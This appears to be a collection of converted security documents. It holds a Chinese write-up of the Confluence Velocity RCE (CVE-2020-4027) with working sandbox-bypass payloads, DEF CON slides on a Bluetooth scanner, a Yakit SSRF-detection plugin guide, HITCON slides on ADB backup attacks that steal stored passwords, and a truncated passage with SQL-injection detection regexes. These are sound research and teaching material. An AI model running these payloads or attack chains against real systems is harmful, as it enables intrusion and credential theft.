码其实并没有太大的意义, 意识到这个问题后的自己也在刻意地练习自己写文章的风格, 希望能改掉一些不好的
习惯。
0x01 简介
本文将要介绍以下内容:
模板引擎 Velocity 基础使用
模拟挖掘 CVE-2020-4027
怎么选择切入点
遇到问题 解决问题的过程
逐步构造出可利用的 Exploit
漏洞复现
本文的侧重点:
思考 & 记录如何站在漏洞挖掘者的角度去正向地分析漏洞。
0x02 模板引擎 Velocity
Velocity 部分主要关注两点:
基本语法 (能看懂 poc/exp)
如何作为 RCE Sink触发 (弹计算器)
基本语法和使用
Velocity 是一个基于 Java 的模板引擎(template engine), 允许使用模板语言(template
language)来引用由 Java 代码定义的对象。
Velocity 同时可实现页面静态化, 将Java代码与网页分开, 使网站可维护性增强, JSP 的平替代方案。
0、常见符号介绍
符
号
含义
#
关键字使用#开头, 如#set、#if、#else、#end、#foreach等
$
变量都是使用$开头的, 如: $name、$msg
{}
需要明确表示的变量, 可用{}将变量包含。如需要有$someoneName这种内容, 此时为了让
Velocity区分, 可使用${someone}Name
!
如果某个变量不存在, 页面中会显示$xxx的形式, 为了避免这种形式, 可在变量名称前加上!如
页面中有$msg, 有值, 显示msg的值;不存在就显示$msg
通过例子来学习基本语法
1、如何定义变量 ?
执行结果
2、如何给变量赋值 ?
赋值规范
#set($prefix = "hello")
#set($name = "velocity")
#set($template = "$prefix $name")
$template
这是注释
变量引用
#set($bill = "hello")
#set($name = $bill)
字符串
#set($name.pre = "cn")
属性引用, velocity 会将属性解释为属性的get方法
#set($name = $people.name)
$people.name 等同于 $people.getName()
方法引用
#set($name.first = $peolpe.getFirstName($name))
左边必须是变量, 或者是属性的引用
右边可以是变量引用、字符串、属性引用、方法引用、数字、数组
3、如何定义一个循环语句 ?
执行结果
4、如何定义条件语句 ?
执行结果
5、如何定义宏(函数) ?
1. 无参数的宏
#foreach( $num in [010])
this is $num."\n"
#end
#foreach($num in [02])
#if($num 2)
this $num , hello velocity
#else
#end
#end
执行结果
2. 有参数的宏
执行结果
如何作为 RCE Sink 触发
执行结果
定义了一个宏, 名字为 getName, 没有参数
#macro(getName)
pen4uin
#end
使用该宏, velocity 处理 #getName() 时会将其替换为 pen4uin
this is #getName()
定义了一个宏, 名字为 greet, 参数是 $name
#macro(greet $name)
hello $name, this is pen4uin
#end
#greet()
#*
定义一个变量 $clazz, 是字符串类型
通过 String 类型变量的 getClass() 方法取运行时类的对象 $obj
通过 Class 的静态方法 forName() 获取可供命令执行的类的对象 $rt
通过反射调用 getRuntime 获取 java.lang.Runtime 的实例并调用静态方法执行命令
*#
#set($clazz="str")
$clazz.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).inv
oke(null,null).exec('calc')
0x03 CVE-2020-4027 post-auth RCE
安全公告
Velocity Template Injection in Custom user macros - Macros Platform - CVE-2020-
4027
Affected versions of Atlassian Confluence Server and Data Center allowed remote
attackers with system administration
permissions to bypass velocity template injection mitigations via an injection
vulnerability in custom user macros.
提取关键信息:
漏洞条件: with system administration permissions 需要管理员权限
漏洞触发: custom user macros 业务功能点
漏洞利用:
bypass mitigations 需要绕过沙箱后利用
velocity template injection 漏洞本质 velocity 引擎的问题
梳理信息:
Confluence 后台有可自定义 marco 的应用功能
基于模板引擎 Velocity 实现
Velocity 的缓解措施可被绕过
漏洞分析
模拟挖掘过程, 假设是自己会怎么挖这种漏洞, 记录过程中的分析和思考。
挖掘思路:
对于我来说, 这种漏洞从功能点作为切入点是比较符合 常识 的, 即便黑盒测试遇到这个功能,也会多留意几
分。
官方文档中有以下描述
https:confluence.atlassian.com/doc/writing-user-macros-4485.html
可以知道该功能是基于 Velocity 实现的, 使用 如何作为 RCE Sink 触发 这一步构造的 payload,
验证是否可触发。
于是插入该 payload、引用 marco、预览, 然而并没有成功触发。
猜测失败的原因, 最有可能的大概就是: 沙箱机制。所以需要确认是否存在沙箱, 经过一番考古, 成功在
Velocity 历史更新记录中找到了以下描述
Changes Report
符合对安全机制的设想
意思明确, 提供可选的 SecureIntrospector 类来缓解安全风险, 回到代码中, 定位到这个类、验证猜想
(沙箱的存在导致触发失败)是否正确。
org.apache.velocity.util.introspection.SecureIntrospectorImpl
在方法 checkObjectExecutePermission() 处打上断点,然后引用 marco 预览。
org.apache.velocity.util.introspection.SecureIntrospectorImpl#checkObjectExecut
ePermission
如图, 可确认黑名单的存在 (badClasses、badPackage)
New, optional SecureIntrospector prohibits methods that involve manipulation of
classes, classloaders or reflection objects.
Use this introspector to secure Velocity against a risk of template writers
using reflection to perform malicious acts.
由于 java.lang.Class 在黑名单类内, 所以形如 'xxx'.getClass() 的 payload 也就无法正常使用,
会抛出异常 xxx due to security restrictions
找到缓解措施后, 该如何进行绕过 & 利用呢 ?
针对基于黑名单的安全机制, 目前在我认知里有两种较为靠谱的方法:
找漏网之鱼, 一些隐藏的利用点 (一般隐藏文档和代码里?)
找安全机制检测流程的逻辑问题 (难度较大, 比如 fastjson 通过类缓存绕过 checkAutoType)
还是选择啃文档, 毕竟相关文档也不多。
很快就找到了疑似 预期解 的蛛丝马迹, 在 macro template 语法部分有以下说明
User Macro Template Syntax
Macros can also access objects available in the default Velocity context , 可以访
问上下文中的 objects, 貌似有戏 ? 因为相信关注 Java 漏洞的师傅看到这儿都会多瞅几眼的 :), 毕竟在
Java 的漏洞里, 涉及 Object 的还是蛮多的, 前有 XMLDecoder 反序列化中的 object 标签, 近有
Cobalt Strike RCE 中粉墨登场的 Swing object 标签 ?
需要看文档确认 default Velocity context 和 available objects 都有哪些
Confluence objects accessible from Velocity
可以获取到 ServletContext, 而预期解入口 $req 也在其中, 证明文档这思路还是挺可靠的
调用 getServletContext() 方法获取当前的 ServletContext:
$res
$req
${req.getServletContext()}
熟悉的 ApplicationContextFacade, 相信调过 Tomcat 内存马的师傅都知道这个对象, 植入内存马时若
存在 request 对象可以通过反射来获取 StandardContext 对象:
ApplicationContextFacade ApplicationContext StandardContext
取到 ServletContext 后该如何进行 Exploit 呢?自己目前的知识储备中貌似没有相关的利用。
继续啃文档, 范围已经缩小了, 只需要关注 SevletConext 是否存在某些方法可单独作利用 or 串接的作用
即可。
Method Summary
留意到方法 getAttribute() , Returns the value of the named attribute as an
Object, or null if no attribute of the given name exists , 调用该方法可根据属性名
(key) 返回一个 Object (value) 。
首先通过 IDEA 的 Evaluate Expression 功能看看都有些啥属性
在 javax.servlet.ServletRequest.getAttributeNames 处打下断点,得到可操作的属性有:
this.request.getServletContext().getAttributeNames()
PS: 也可以不依赖 IDEA 的功能, 使用原始的办法, 写一个 jsp 放在 Confluence webapp 目录即可,
效果一样
<%@ page import="java.util.Enumeration" %>
<%
Enumeration<String> enumeration =
request.getServletContext().getAttributeNames();
while(enumeration.hasMoreElements()){
out.println(enumeration.nextElement() + "<br>");
}
%>
不是很多, 人工过一遍也不麻烦, 很容易注意到 InstanceManager
org.apache.tomcat.InstanceManager
其 newInstance() 方法可实例化任意有 无参构造方法 的类, InstanceManager 是个接口, 所以需
要使用其实现类来获取想要的实例。
构造 poc 验证想法
返回的默认实现类的对象 DefaultInstanceManager
${req.getServletContext().getAttribute('org.apache.tomcat.InstanceManager')}
调用 DefaultInstanceManager 的 newInstance() 方法实例化有无参构造方法的类
成功取到 ScriptEngineManager 。
获取 Nashorn 脚本引擎并调用其 eval() 方法执行 Java 代码, 完成 Exploit 的最后部分
${req.getServletContext().getAttribute('org.apache.tomcat.InstanceManager').new
Instance('javax.script.ScriptEngineManager')}
${req.getServletContext().getAttribute('org.apache.tomcat.InstanceManager').new
Instance('javax.script.ScriptEngineManager').getEngineByName('js').eval("java.l
ang.Runtime.getRuntime().exec('calc')")}
到这里, 关于这个漏洞的挖掘(分析)过程就结束了, 结果上看还算成功, 但是难免会给人一种"马后炮"的感
觉, 所以见仁见智吧!
漏洞复现
登录后台后, 在
Manage apps User Macros Create a User Macro Template
Definition of User Macro
处插入 payload
${req.getServletContext().getAttribute('org.apache.tomcat.InstanceManager').new
Instance('javax.script.ScriptEngineManager').getEngineByName('js').eval("java.l
ang.Runtime.getRuntime().exec('calc')")}
保存后返回主页
单击 C 键, 创建 page, 引用上一步自定义的 User Macro , 预览即可触发
0x04 小结
未完待续。。。
Confluence Velocity SSTI
Confluence OGNL Injection
Confluence Post-Exploitation
参考
http:www.51gjie.com/javaweb/896.html
https:blog.play2win.top/2021/10/20/Confluence%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%8
5%A5%EF%BC%88CVE-2020-4027%EF%BC%89%E5%A4%8D%E7%8E%B0/ | pdf |
Realtime Bluetooth Device Detection
with Blue Hydra
Granolocks
Zero_Chaos
Granolocks Narcissus
● Experimenter
● Developer
● Long walks in the woods
● Travel to exotic locations
● Hacking the planet
● Give great back rubs
Zero_Chaos Narcissus
● Eagle Scout
● Open{Zaurus,Embedded,wrt} Maintainer
● Aircrack-ng Developer
– Injection/Drivers, airmon-zc
● Pentoo Linux Developer
● Gentoo Linux Developer
● Random Hacker of ARMs
● Husband
● Father
● Random Association of Wireless Researchers (RAWR)
– Defcon/Shmoocon/etc Wireless CTF
● Far too easily entertained
● Not a lawyer
Bluetooth Waterfall
● Fft screenshot
airmon-ng
● airmon-ng start hci0 fake screenshot
airodump-ng
● Airodump-ng fake screenshot
Our normal approach is useless...
● airmon-ng and airodump-ng errors
Bluetooth Proliferation
● Random IoT and wearables stats
What is Bluetooth
● Cheap
● Cable replacement
● FHSS
● No monitor mode :-(
● Class
– Class 1 100mW (high power devices, Sena dongle)
– Class 2 10mW (phone / most laptops)
– Class 3 1mW
Bluetooth Classic
● Discoverable
● Non-discoverable
Bluetooth Low Energy
● General Discoverability
● Limited Discoverability
● Non-discoverable
– Yet somehow still advertises?
Basic Bluetooth Security
● PIN
● Etc
● something
Prior Art - cracking
● Redfang
● Btcrack
● Crackle
– Le pin cracker
● Bluesnarfer
– Phonebook dumping from old phones
Prior Art - discovery
● Bluelog
– Discoverable classic only
– No le support
– Mostly a logger
● Btscanner
– Discoverable classic only
– No le support
– Unmaintained
– Neat gui
Prior Art – getting closer
● Bluez
– Useful documentation and examples
● hciconfig
● hcitool
– Only discoverable classic devices
– Lescan works but hard to parse
– outdated
● Test-scripts bluez-test discovery
– Easy to modify
– Shows classic and le
– Teaches us how to talk to the bluetooth card
– Hides some le devices
Prior Art - Ubertooth
● Ubertooth-scan
● Ubertooth-rx
– Ubertooth-rx -z
Goals
● Like airodump-ng and btscanner
● Support btle
● Find as many extant devices as possible
● Database backend
● Not interesting in cracking/brute forcing
Blue Hydra design logic
● Build on top of existing tools
– Modify as needed
● Run threads for each discrete task
● Unify into a processing thread
Prior Art – the keystone
● Bluez btmon
● Raw hci info
● Monitor one or many bluetooth dongles
● Reasonably easy to parse
Blue Hydra Architecture
● One thread to monitor btmon
● One thread for handling bluetooth dongle
– Run classic discovery
– Listen for le advertisements
– Support for multiple dongles planned
● One thread to handle ubertooth dongle
– Support for multiple dongles planned
● One thread for handling sqlite
– Three chickens for appeasing the sqlite gods
DEMO
● Doing it live!
DEMO backup
● Screenshot 1
DEMO backup
● Screenshot 2
DEMO backup
● Screenshot 3
Conclusions
● Bluetooth hasn’t been looked at much in years
● Simple idea, harder than expected
● Surprising to see just how much is there
THANKS
● DEF CON for letting us present
● Coconut Picard for letting us build and open
source blue hydra
● Pwnie Express for paying us to build blue hydra
then turning around and letting us open source
it
● Ubertooth team for being awesome
● Bluez team for our first solid beating
Q & A
● Q&A will be in room <fill in the blank> | pdf |
MITM插件:SSRF公⽹出⽹检测
依赖条件:
需要配置 yak bridge 公⽹部署⽅案详情⻅https://github.com/yaklang/yak-bridge-docker
1.
使⽤Yakit配置好公⽹镜像
2.
SSRF检测原理:
触发条件:
流经MITM的流量,应该过滤⼀下参数,疑似SSRF参数应该参与测试
1.
参数条件:
2.
参数名直接相关 redirect / url / url_callback / webhook / target
.... 等
a.
参数值为 http(s?):// 开头的,可以直接替换成我们想要的SSRF⽬标
b.
yaklang.io公⽹镜像反连体系
基础知识:https://www.yaklang.io/products/professional/yakit-in-practice-reverse
1.
当yak镜像服务器映射在公⽹的时候,任何连⼊镜像服务器的请求将会被记录下来,如果携带
Token,也会被记录并且直接被对应到SSRF的漏洞中。
2.
上述经过替换的携带SSRFPayload的请求触发了请求,将会直接在数据库中记录下详细的请求
反连情况,对应的Token也会对应到漏洞上。
3.
案例:
搭建靶场
我们在本地构建⼀个SSRF的靶站,代码⾮常简单
当我们运⾏我们的靶站在 http://127.0.0.1:8084/ssrf?url=http://www.baidu.com
的时候,浏览器返回内容如下:
测试过程
我们打开Yakit的中间⼈劫持平台
点击“被动扫描模式”
我们构建⼀个请求,以MITM设置为代理:
Go
rsp, err := http.Get(
`http://127.0.0.1:8084/ssrf?url=https://baidu.com`,
http.proxy("http://127.0.0.1:8083"),
)
die(err)
http.show(rsp)
1
2
3
4
5
6
7
当我们执⾏该请求的时候,MITM劫持平台将会收到该请求,并且在请求流经过程中,会镜像⼀份出
来到SSRFHTTPPublic插件,SSRF插件执⾏之后将会在右边输出结果:
发送到代理⼀个请求:
查看结果:
当我们打开反连之后:
核⼼原理
核⼼代码
其实⼤家观察上述内容,发现我们引⽤⼀个SSRF插件即可解决这个问题,那么这个插件是如何编写
并且发挥作⽤的呢?
我们在这⾥可以看到插件源码,接下来就插件源码的核⼼原理给⼤家做简要描述
代码的结构⾮常⾮常简单:
我们关注参数列表规则和镜像流量函数:
核⼼流程
我们发现检测的步骤其实可以⾮常简单对应到我们的检测思路中。如果⼤家⽆法很容易理解代码中的
内容,我总结了⼀个基本的测试流程。
扩展与Bypass:
当然熟悉的同学,很容易发现,插件的代码并不完美,仍然有许多需要改进的地⽅:⽐如
Host混淆技术(与127.0.0.1混淆来bypass各种检查)
1.
使⽤schema混淆bypass检查
2.
⾮标准位置的测试:JSON中的SSRF检测
3.
....
4.
我们发现如果需要覆盖上⾯内容,插件仍然有很⼤的进步和发展空间,但是相应的发包量就会变⼤。
如果需要找到⼀个均衡的点,则需要更细节的控制,完善脚本的检测逻辑。 | pdf |
Insecure Internal Storage in Android
Claud Xiao
HITCON, Taipei
2014.08
It’s well known that in Android
§ external storage is globally read/writable thus not secure;
§ internal storage is isolated for each apps by sandbox thus
is secure enough.
§ By Google’s suggestion, applications store sensitive data and
configurations here.
2 | Claud Xiao. Insecure Internal Storage in Android. HITCON, 2014.08
h"p://developer.android.com/training/ar4cles/security-‐4ps.html#StoringData
Today, we’re going to
§ Present an attack to read/write data in internal storage
§ by combination of disclosed attacks and vulnerabilities.
§ Explain why 94.2% of popular apps are all vulnerable
§ Disclose one category of apps storing password in
plaintext
§ which are under the attack above,
§ affect billions of Android users,
§ and may lead to enterprise or server account leaking.
§ Discuss some ideas of mitigation.
3 | Claud Xiao. Insecure Internal Storage in Android. HITCON, 2014.08
Attacks
ADB backup and restore
§ Android Debug Bridge
§ ADB backup
§ Fully backup almost all apps’ internal data from device to PC.
§ Password to encrypt backup archive is optional but not enforced.
§ ADB restore
§ Restore a backup archive to device.
§ Can modify data in the archive before restore it.
§ More details on archive format:
§ http://nelenkov.blogspot.com/2012/06/unpacking-android-
backups.html
5 | Claud Xiao. Insecure Internal Storage in Android. HITCON, 2014.08
Exceptions
§ These apps won’t be backup or restored:
§ whose “android:allowBackup” is false in AndroidManifest.xml
§ who implemented a BackupAgent by themselves.
§ When developers not set “android:allowBackup”
manually, its value will be true
by default!
§ How many apps can be backup? Will be discussed later.
6 | Claud Xiao. Insecure Internal Storage in Android. HITCON, 2014.08
It’s a known “attack surface”
§ Used to root Android devices like
§ some phone/tablet models (on XDA
Developers)
§ and even Google Glass
§ But these methods are NOT
designed for real attacks
§ need user interactions
§ only for rooting your own devices
7 | Claud Xiao. Insecure Internal Storage in Android. HITCON, 2014.08
http://www.saurik.com/id/16
Restrictions of abusing ADB backup/restore
1. Connect to target device through an USB cable.
2. The system supports ADB backup/restore.
3. ADB debugging is enabled.
4. The device’s screen is unlocked.
5. The PC can pass ADB authentication.
6. Click “Back up my data” button in ADB backup interface.
Let’s “bypass” them all J
8 | Claud Xiao. Insecure Internal Storage in Android. HITCON, 2014.08
Connect to the device
§ Bridge-way: use victim’s PC as a bridge/proxy
§ Suppose attacker has controlled victim’s PC by malware or
phishing and plans to attack remotely.
§ Need to automate all further steps.
§ Direct-way: directly attack victim’s Android device
§ Suppose attacker can physically touch the target device
temporarily.
§ Thus allow his interactions with device in further steps.
9 | Claud Xiao. Insecure Internal Storage in Android. HITCON, 2014.08
To find a bridge/proxy is not hard
§ Cross infection between PC and mobile devices
§ Mobile -> PC:USBCleaver, Ssucl, …
§ PC -> Mobile: Zitmo, Droidpak, WinSpy/GimmeRat, …
§ PC isn’t the only bridge
§ May 2014, a customer bought a
portable charger from Taobao,
which was then found to be a
customized remote control spy
box with SIM card embedded.
§ Just like a real version of Mactans
presented in Black Hat 2013
§ Or the “Juice-Jacking” attack
10 | Claud Xiao. Insecure Internal Storage in Android. HITCON, 2014.08
http://weibo.com/1705901331/B2AP6ihs2
To physically touch a device is also not hard
§ Intentionally (target someone)
§ steal it
§ temporarily borrow it
§ or even buy it from victim’s family
§ Unintentionally
§ buy second-hand devices from resellers
§ find a lost phone
§ touch some public Android embedded devices
11 | Claud Xiao. Insecure Internal Storage in Android. HITCON, 2014.08
System’s support to ADB backup/restore
§ Introduced in Android ICS 4.0.
§ ~85.8% devices support it (Jul 7, 2014).
§ Google announced there’re over 1 billion 30-day active users on
the Android platform at Jun 2014.
12 | Claud Xiao. Insecure Internal Storage in Android. HITCON, 2014.08
https://developer.android.com/about/dashboards/index.html
Enable the ADB debugging
§ Some enthusiasts have enabled it.
§ Most of PC auxiliary tools ask and guide users to enable it.
§ Some vendors even enable it by default.
§ When using utilities like adbWireless, even a normal app
can use ADB debugging locally
§ Interesting. Apps may bypass sandbox in this way.
13 | Claud Xiao. Insecure Internal Storage in Android. HITCON, 2014.08
http://www.reddit.com/r/netsec/comments/27zdxc/android_hackers_handbook_ama
Enable the ADB debugging (cont.)
§ For the rest devices, we can still try to enable it by an USB
multiplexer
§ in just tens of dollars for hardware cost
§ refers Kyle Osborn and
Michael Ossman’s Two
Timing Data Connectors
in Infiltrate 2013
14 | Claud Xiao. Insecure Internal Storage in Android. HITCON, 2014.08
http://greatscottgadgets.com/infiltrate2013/
infiltrate-osborn-ossmann.pdf
ADB authentication
§ Introduced in Android 4.2.2
§ For preventing unauthorized devices (e.g., PC, portable
recharger) connect to Android in ADB mode.
15 | Claud Xiao. Insecure Internal Storage in Android. HITCON, 2014.08
Bypass ADB authentication
§ In all devices which support ADB, 45.7% don’t have ADB
authentication thus not need to bypass. (till July 7, 2014)
§ For the rest 54.3%,
§ in “bridge-way”, we can suppose the victim’s PC passed
authentication before.
§ in “direct-way”, if device screen is unlocked, we can manually
approve it.
§ in “direct-way”, if device screen is locked, we can use a new
disclosed vulnerabilities to bypass it.
§ affect Android <= 4.4.2.
§ https://labs.mwrinfosecurity.com/advisories/2014/07/03/android-4-4-2-
secure-usb-debugging-bypass/
16 | Claud Xiao. Insecure Internal Storage in Android. HITCON, 2014.08
Unlock device’s screen lock
§ Not all users use screen lock
§ If it’s locked, since we can use ADB now:
§ Disable it by CVE 2013-6271
§ affect Android 4.0 - 4.3
§ http://seclists.org/fulldisclosure/2013/Nov/204
§ (Optional) use exists exploit to get root privilege, then disable it
§ like CVE-2014-3153 or Android bug #12504045
§ affect Android <= 4.4.4 (almost all Android devices)
§ Notice: root exploit isn’t essential for the whole attack
17 | Claud Xiao. Insecure Internal Storage in Android. HITCON, 2014.08
Click confirmation button
§ In “direct-way”, just manually
click it.
§ In “bridge-way”, can simulate
user’s click by adb
shell
sendkey to automate it in
background:
18 | Claud Xiao. Insecure Internal Storage in Android. HITCON, 2014.08
Conclusions
1.
Highly possible to attack through USB cable via PC or touching
device.
2.
85.8% of 1 billion devices support ADB backup.
3.
In plenty of devices, ADB debugging has been enabled, or can be
enabled by special hardware.
4.
ADB authentication can be bypassed in almost all of them.
5.
Screen lock can be bypassed in most of them.
6.
User interaction can be performed automatically.
Jobs done J
19 | Claud Xiao. Insecure Internal Storage in Android. HITCON, 2014.08
DEMOs
Bridge-way
§
Nexus 4
§
Android 4.3
§
ADB debugging is enabled
§
The PC has been authenticated
§
Screen is locked
§
Totally automatically
Direct-way
§
Nexus 4
§
Android 4.4.2
§
ADB debugging is enabled
§
The PC has not been authenticated
§
Screen is locked
20 | Claud Xiao. Insecure Internal Storage in Android. HITCON, 2014.08
Impact
If an app can be backup/restore
§ attackers can read its internal sensitive data
§ e.g., password, tokens, etc
§ or modify these sensitive data or configurations
§ e.g., login URL of banking
§ Serious.
22 | Claud Xiao. Insecure Internal Storage in Android. HITCON, 2014.08
How many apps can be backup/restore?
§ Analyzed 12,351 most popular apps from Google Play.
§ 556 of them explicitly set android:allowBackup to false.
§ 156 of the rest implement an BackupAgent to restrict backup.
§ The rest 11,639 apps can be fully backup/restore.
23 | Claud Xiao. Insecure Internal Storage in Android. HITCON, 2014.08
installa'on
counts
#
of
backup-‐able
apps
500,000,000
-‐
1,000,000,000
4
100,000,000
-‐
500,000,000
35
50,000,000
-‐
100,000,000
38
10,000,000
-‐
50,000,000
524
5,000,000
-‐
10,000,000
766
1,000,000
-‐
5,000,000
5043
500,000
-‐
1,000,000
5229
Statistics of Installations of Fully Backup-able Popular Apps in Google Play
Unimaginable Result
94.2%
of the most popular Android apps
are under threat of the attack.
24 | Claud Xiao. Insecure Internal Storage in Android. HITCON, 2014.08
What’s next?
§ From this perspective, everyone can easily find tons of
vulnerabilities in them.
§ Here we just discuss the most serious case:
Plaintext Storage of a Password
25 | Claud Xiao. Insecure Internal Storage in Android. HITCON, 2014.08
How to “store password”, or, remember account?
A balance between user experience and security.
1. Friendly but not secure:
§ store password in plaintext
§ store password in other reversible way, or obscure it
2. Secure but not friendly:
§ not store password at all
§ store password with symmetric-key algorithm, and request user to
input passphrase every time
26 | Claud Xiao. Insecure Internal Storage in Android. HITCON, 2014.08
Using token as a replacement of password
§ Pros
§ restrict resource access and control privilege more precisely
§ e.g., when login by token, users can’t change password or security
questions
§ expiration and renewing mechanism
§ Cons
§ A non-restricted, full-privileged, non-expired token nearly equals to
a password
§ e.g., Amazon’s Android app
§ Can also be stolen by our attack
Ø Developers have to control and deploy servers to cooperate with
their client applications
27 | Claud Xiao. Insecure Internal Storage in Android. HITCON, 2014.08
Token is not the silver-bullet
§ For client applications of standard network services,
developers can NOT expect which specific server users
will connect to.
§ IMAP, SMTP, POP3
§ SSH, Telnet, FTP
§ IRC
§ HTTP
§ ……
§ These apps must follow standard network protocols and
their authentication methods.
§ Almost always password-based, e.g., IMAP-PLAIN and CRAM-
MD5.
28 | Claud Xiao. Insecure Internal Storage in Android. HITCON, 2014.08
Common choice: user experience comes first
§ Store or not store?
§ In PC systems, the debate
can be traced back to 1995
or earlier.
§ Finally, most of popular IM
clients, mail clients and
browsers chose to store it.
§ Why?
h"ps://developer.pidgin.im/wiki/PlainTextPasswords
29 | Claud Xiao. Insecure Internal Storage in Android. HITCON, 2014.08
Security assumption
§ Rely password storage’s security on system’s access
control mechanisms.
§ Classic explanation: https://developer.pidgin.im/wiki/PlainTextPasswords
§ Google’s opinion
https://code.google.com/p/android/issues/detail?id=10809
tl;dr:
1. They’re old, insecure protocols;
2. We trust the system’s security.
30 | Claud Xiao. Insecure Internal Storage in Android. HITCON, 2014.08
So we reported to Google…
31 | Claud Xiao. Insecure Internal Storage in Android. HITCON, 2014.08
Android applications storing password in plaintext
32 | Claud Xiao. Insecure Internal Storage in Android. HITCON, 2014.08
Applica'on
Package
Name
Installa'ons
K9
Mail
com.fsck.k9
5,000,000
–
10,000,000
Blue
Mail
com.trtf.blue
100,000
–
500,000
MailDroid
com.maildroid
1,000,000
–
5,000,000
myMail
com.my.mail
100,000
–
500,000
SSH
Tunnel
org.sshtunnel
100,000
–
500,000
Unix
Admin:
FTP
SFTP
SSH
FTPS
org.kidinov.unixadmin
10,000
–
50,000
SSH
Autotunnel
cz.sde.tunnel
10,000
–
50,000
BotSync
SSH
SFTP
com.botsync
10,000
–
50,000
AndFTP
(your
FTP
client)
ysesoft.andftp
1,000,000
–
5,000,000
FtpCafe
FTP
Client
com.ftpcafe.trial
100,000
–
500,000
Pre-installed apps is also vulnerable
§ Email (com.android.email and com.google.android.email)
§ Passwords of POP3, SMTP and IMAP accounts are stored in
EmailProvider.db and EmailProviderBackup.db.
§ The Email application is pre-installed in almost every Android
devices.
§ Again, there’re 1 billion active Android users till Jun 2014.
33 | Claud Xiao. Insecure Internal Storage in Android. HITCON, 2014.08
Pre-installed apps is also vulnerable (cont.)
§ Browser (com.android.browser)
§ Remembered passwords of websites are stored at webview.db.
§ 22.7% of all mobile phone users use it (Jun 2014, by StatCounter).
§ Some other third-party browsers have the same problem.
34 | Claud Xiao. Insecure Internal Storage in Android. HITCON, 2014.08
http://gs.statcounter.com/
Specially for Taiwanese users
§ PTT(批踢踢) is the most popular BBS in Taiwan
§ base on TELNET
Vulnerable PTT clients
35 | Claud Xiao. Insecure Internal Storage in Android. HITCON, 2014.08
Applica'on
Package
Name
Installa'ons
Mo
PTT
mong.moptt
500,000
–
1,000,000
Miu
P"
sg.xingzhi.miu_ptt
100,000
–
500,000
touchPTT
com.yuandroid.touchPTT
100,000
–
500,000
JPTT
com.joshua.jptt
50,000
–
100,000
……
DEMOs
§ Android Email
§ AndFTP
36 | Claud Xiao. Insecure Internal Storage in Android. HITCON, 2014.08
Conclusions
§ 94.2% of popular Android apps can be backup thus are
affected by the attack
§ Network services clients and some pre-installed apps will
store password in plaintext and become vulnerable by the
attack.
§ Affect almost all Android users, and may lead personal
and enterprise’s account leaking
37 | Claud Xiao. Insecure Internal Storage in Android. HITCON, 2014.08
Mitigations
Easiest mitigation ways
§ From OS’s perspective,
§ Set default value of R.attr.allowBackup to false.
§ Just a description in document is not enough. Most of developers
ignored it.
§ From Developer’s perspective,
§ In AndroidManifest.xml, set android:allowBackup to false.
§ Or implement a BackupAgent to specify what data to be backup.
39 | Claud Xiao. Insecure Internal Storage in Android. HITCON, 2014.08
Easiest mitigation ways (cont.)
§ From user’s perspective,
§ Disable ADB debugging when not need it
§ still not secure enough
§ Avoid to lost it
§ how?
§ Update to the newest system
§ Android L may be enough
§ Reset useless phone to factory
§ still vulnerable
§ Encrypt the whole disk.
40 | Claud Xiao. Insecure Internal Storage in Android. HITCON, 2014.08
Third-party hot patching
§ Need root privilege at first
§ an dilemma
§ Discussed before by Collin Mulliner et al at ACSAC '13
§ PatchDroid: scalable third-party security patches for Android
devices
§ Develop with existing dynamic instrumentation frameworks
§ Xposed: http://repo.xposed.info/
§ adbi/ddi: http://www.mulliner.org/android/
§ Cydia
Substrate
for Android: http://www.cydiasubstrate.com/
§ There’re lots of great security enhancement apps based on them.
41 | Claud Xiao. Insecure Internal Storage in Android. HITCON, 2014.08
Some simple patching ideas
§ Disable ADB debugging when screen is locking
§ Just like what FirefoxOS did.
§ Fix the CVE-2013-6271 for Android <= 4.3
§ Fix the CVE-2014-3153 for Android <= 4.4.4
§ Disable “adb
shell
sendkey” when doing backup
§ Transparently encrypt all internal data by a master
passphrase
42 | Claud Xiao. Insecure Internal Storage in Android. HITCON, 2014.08
DEMO
43 | Claud Xiao. Insecure Internal Storage in Android. HITCON, 2014.08
Summary
§ An attack to read or modify internal data in high success
rate.
§ 94.2% of popular applications are influenced.
§ Network services clients and pre-install apps store
password in plaintext internally.
§ Easy to mitigate the problem from different perspectives.
44 | Claud Xiao. Insecure Internal Storage in Android. HITCON, 2014.08
Thank you!
§ Claud Xiao, Senior Security Researcher at Palo Alto Networks
§ @claud_xiao, [email protected]
§ DEMO code: http://github.com/secmobi/BackupDroid
Special thanks to:
Elad Wexler, Zhi Xu, Ryan Olson, Bo Qu, visualwu, irene, tombkeeper
Greets:
Nikolay Elenkov, Collin Mulliner, Kyle Osborn, Michael Ossman,
MWR Labs, rovo89, jduck, Jay Freeman(saurik)
45 | Claud Xiao. Insecure Internal Storage in Android. HITCON, 2014.08 | pdf |
最近忍者师傅因为某件事情,寝食不安,所以给他写篇星球文,安抚他寂寞的心灵。
https://my.oschina.net/9199771/blog/5085337
书接上文,之前提到我们可以用java版的libinjection进行sql注入防护。
那么我今天花了一天的时间,在sqlmap的level=5 和 risk=3的情况下对拼接的sql进行安全测试,本文不涵盖tamper,否则本文的内容会异常复杂。
在试验过程中我发现,其实很多的报错情况,以及一些sql报错,可以看到一些 libinjection 没有对应防护策略的端倪。
上文中提到了GTID_SUBSET注入问题。
testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
其实还有一个JSON_KEYS注入问题。
testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
除此之外,我们还能发现利用存储过程、sleep函数、SELECT CASE WHEN等绕过 libinjection语义策略的问题。
所以我在上文的基础上,经过了反复的试验,得出了在语义检查前使用正则表达式进行安全防护的一些注意要点,其中我们要注意 rasp 默认阻断sql
报错的请求。
(以下正则均来自于modsecurity的内置正则)
@RequestMapping("list5")
public User getList5(String name) {
if (name == null) {
name = "dato";
}
String pattern = "\\W{4}";
if(Pattern.compile(pattern).matcher(name).find()){
// 很有用的规则,阻断四个连续的特殊字符能拦截很多明显的payload
return null;
}
pattern = "((?:[~!@#$%^&*()\\-+={}\\[\\]|:;\"'´’‘`<>][^~!@#$%^&*()\\-+={}\\[\\]|:;\"'´’‘`<>]*?){6})";
if(Pattern.matches(pattern, name)) {
// 一个变量超过6个特殊字符就很可能是sql注入
return null;
}
pattern = "(?i:sleep\\(\\s*?\\d*?\\s*?\\)|benchmark\\(.*?,.*?\\))";
